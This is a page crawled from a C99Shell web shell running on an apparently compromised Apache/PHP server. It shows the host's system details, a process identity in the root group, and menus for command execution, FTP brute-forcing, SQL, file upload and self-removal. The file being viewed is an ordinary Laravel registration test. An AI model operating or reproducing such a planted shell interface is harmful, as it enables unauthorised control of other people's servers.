!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-163-generic #173-Ubuntu SMP Tue Oct 14 17:51:00 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smab.picotech.app/public_html/vendor/laravel/ui/tests/AuthBackend/   drwxr-xr-x
Free 25.27 GB of 117.98 GB (21.42%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     RegistersUsersTest.php (2.85 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Laravel\Ui\Tests\AuthBackend;

use 
Illuminate\Foundation\Auth\RegistersUsers;
use 
Illuminate\Foundation\Auth\User;
use 
Illuminate\Http\Request;
use 
Illuminate\Routing\Pipeline;
use 
Illuminate\Support\Facades\Auth;
use 
Illuminate\Support\Facades\Hash;
use 
Illuminate\Support\Facades\Validator;
use 
Illuminate\Testing\TestResponse;
use 
Illuminate\Validation\ValidationException;
use 
Orchestra\Testbench\Factories\UserFactory;
use 
Orchestra\Testbench\TestCase;

class 
RegistersUsersTest extends TestCase
{
    use 
RegistersUsers;

    
/**
     * Define database migrations.
     *
     * @return void
     */
    
protected function defineDatabaseMigrations()
    {
        
$this->loadLaravelMigrations();
    }

    
/** @test */
    
public function it_can_register_a_user()
    {
        
$request Request::create('/register''POST', [
            
'name' => 'Taylor Otwell',
            
'email' => 'taylor@laravel.com',
            
'password' => 'secret-password',
            
'password_confirmation' => 'secret-password',
        ], [], [], [
            
'HTTP_ACCEPT' => 'application/json',
        ]);

        
$response $this->handleRequestUsing($request, function ($request) {
            return 
$this->register($request);
        })->
assertCreated();

        
$this->assertDatabaseHas('users', [
            
'name' => 'Taylor Otwell',
            
'email' => 'taylor@laravel.com',
        ]);
    }

    
/**
     * Get a validator for an incoming registration request.
     *
     * @param  array  $data
     * @return \Illuminate\Contracts\Validation\Validator
     */
    
protected function validator(array $data)
    {
        return 
Validator::make($data, [
            
'name' => ['required''string''max:255'],
            
'email' => ['required''string''email''max:255''unique:users'],
            
'password' => ['required''string''min:8''confirmed'],
        ]);
    }

     
/**
     * Create a new user instance after a valid registration.
     *
     * @param  array  $data
     * @return \App\Models\User
     */
    
protected function create(array $data)
    {
        
$user = (new User())->forceFill([
            
'name' => $data['name'],
            
'email' => $data['email'],
            
'password' => Hash::make($data['password']),
        ]);

        
$user->save();

        return 
$user;
    }

    
/**
     * Handle Request using the following pipeline.
     *
     * @param  \Illuminate\Http\Request  $request
     * @param  callable  $callback
     * @return \Illuminate\Testing\TestResponse
     */
    
protected function handleRequestUsing(Request $request, callable $callback)
    {
        return new 
TestResponse(
            (new 
Pipeline($this->app))
                ->
send($request)
                ->
through([
                    
\Illuminate\Session\Middleware\StartSession::class,
                ])
                ->
then($callback)
        );
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0047 ]--